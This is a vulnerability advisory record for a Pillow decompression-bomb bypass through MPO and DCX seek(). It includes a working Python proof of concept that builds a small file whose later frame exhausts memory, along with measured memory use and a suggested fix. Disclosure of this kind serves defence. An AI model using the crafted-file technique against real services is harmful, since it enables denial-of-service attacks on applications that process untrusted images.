{"id":"CVE-2026-96636","aliases":["GHSA-p8hx-v2p6-rp84"],"url":"https://o3.security/vulnerability/CVE-2026-96636","summary":"Pillow: Decompression-bomb protection bypass via multi-frame seek() in MPO and DCX (MpoImageFile.seek / DcxImageFile.seek)","details":"### Summary\nPillow's decompression-bomb protection (`Image._decompression_bomb_check`, gated by `Image.MAX_IMAGE_PIXELS`) is enforced only on the **first frame**, inside `Image.open()`. For multi-frame formats, `seek()` re-parses the target frame's header and resets `self._size`. `GifImagePlugin` and `TiffImagePlugin` re-run the bomb check on `seek()`, but **`MpoImageFile.seek()` and `DcxImageFile.seek()` do not.** A crafted MPO or DCX whose first frame is tiny (passing the check) but whose later frame declares enormous dimensions therefore bypasses the protection: loading that frame decodes an over-limit image and commits large amounts of memory — a denial of service (memory exhaustion / OOM).\n\nSame class as the recently assigned CVE-2026-55379 (BdfFontFile), CVE-2026-55380 (GdImageFile) and CVE-2026-40192 (FITS GZIP).\n\n### Details\n`Image.open()` → `_open_core()` runs `_decompression_bomb_check(im.size)` once, on the frame present at open time. Both vulnerable `seek()` methods re-parse a new frame and set a new `self._size` without re-checking:\n\n- **`PIL/MpoImagePlugin.py`, `MpoImageFile.seek()`**: calls `JpegImagePlugin.JpegImageFile._open(self)` (which sets `self._size` from the frame's JPEG SOF) and rebuilds `self.tile`, with no `Image._decompression_bomb_check(self.size)`.\n- **`PIL/DcxImagePlugin.py`, `DcxImageFile.seek()`**: calls `PcxImageFile._open(self)` (which sets `self._size` from the page's PCX header), with no check.\n\nConfirmed present in **12.3.0** (latest release) and on **`main`** (13.0.0.dev0). Compare `GifImagePlugin._seek` and `TiffImagePlugin`, which call `_decompression_bomb_check` correctly on seek.\n\n### PoC\nSelf-contained; the victim uses **default** `MAX_IMAGE_PIXELS`:\n\n```python\nimport io\nfrom PIL import Image\n\n# attacker builds the file (guard disabled only to CREATE the oversized frame)\nImage.MAX_IMAGE_PIXELS = None\nsmall = Image.new(\"RGB\", (8, 8))\nbig   = Image.new(\"RGB\", (14000, 14000), (120, 60, 30))   # 196,000,000 px > error threshold\nbuf = io.BytesIO()\nsmall.save(buf, format=\"MPO\", save_all=True, append_images=[big])\ndata = buf.getvalue()                                      # ~3 MB\nImage.MAX_IMAGE_PIXELS = int(1024 * 1024 * 1024 // 4 // 3) # restore default\n\n# victim (default limits)\nim = Image.open(io.BytesIO(data))   # frame 0 (8x8) passes the bomb check\nim.seek(1)                          # frame 1 (14000x14000) -> NOT re-checked  <-- bug\nim.load()                           # decodes the over-limit image, commits memory\nprint(\"loaded over-limit frame:\", im.size)\n```\n\nMeasured on Pillow 12.3.0 (default limit 89,478,485 px; error threshold 178,956,970 px):\n\n| Vector | File size | Frame 1 | Peak RSS |\n|---|---|---|---|\n| MPO (JPEG) | ~3.0 MB | 14000×14000 (196 Mpx) | ~763 MB |\n| DCX (PCX) | ~6.2 MB | 14000×14000 (196 Mpx) | ~200 MB |\n| Control: same image standalone | — | 196 Mpx | `DecompressionBombError` (correctly blocked) |\n\nThe DCX vector (`0x3ADE68B1` magic + offset directory + two PCX pages) behaves identically via `DcxImageFile.seek()`. Scaling frame 1 toward JPEG's ~65500×65500 maximum drives multi-GB commitments from a small file, reliably OOM-killing the process.\n\n### Impact\nDenial of service (memory exhaustion / OOM) — CWE-400 / CWE-1284, a bypass of Pillow's documented decompression-bomb mitigation. `seek()` + `load()` is the normal way to iterate frames (e.g. `PIL.ImageSequence.Iterator`, thumbnailers, converters, 3D-photo handlers). Because **MPO is auto-detected from a JPEG carrying MPF metadata**, a file served with a `.jpg` extension can be opened as MPO, so any application that iterates frames of untrusted images is exposed.\n\n### Suggested fix\nRe-run the check after `seek()` re-parses a frame, mirroring GIF/TIFF:\n\n```python\n# PIL/MpoImagePlugin.py — end of MpoImageFile.seek()\nself.tile = [ImageFile._Tile(\"jpeg\", (0, 0) + self.size, self.offset, self.tile[0][-1])]\nImage._decompression_bomb_check(self.size)   # add\nself.__frame = frame\n\n# PIL/DcxImagePlugin.py — end of DcxImageFile.seek()\nPcxImageFile._open(self)\nImage._decompression_bomb_check(self.size)   # add\n```","published":"2026-10-21T21:05:20.850Z","modified":"2026-10-23T02:45:32.667889974Z","cvss":{"score":6.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"pillow","fixedVersion":"13.0.0"}],"fix":{"url":"https://github.com/python-pillow/Pillow/commit/f1acfc54c53502948d0d14121872061df931db48","label":"python-pillow/Pillow@f1acfc5"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/96xxx/CVE-2026-96636.json"},{"type":"FIX","url":"https://github.com/python-pillow/Pillow/commit/f1acfc54c53502948d0d14121872061df931db48"},{"type":"FIX","url":"https://github.com/python-pillow/Pillow/pull/10011"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"},{"type":"ADVISORY","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-p8hx-v2p6-rp84"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96636"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-23T02:45:32.667889974Z"}}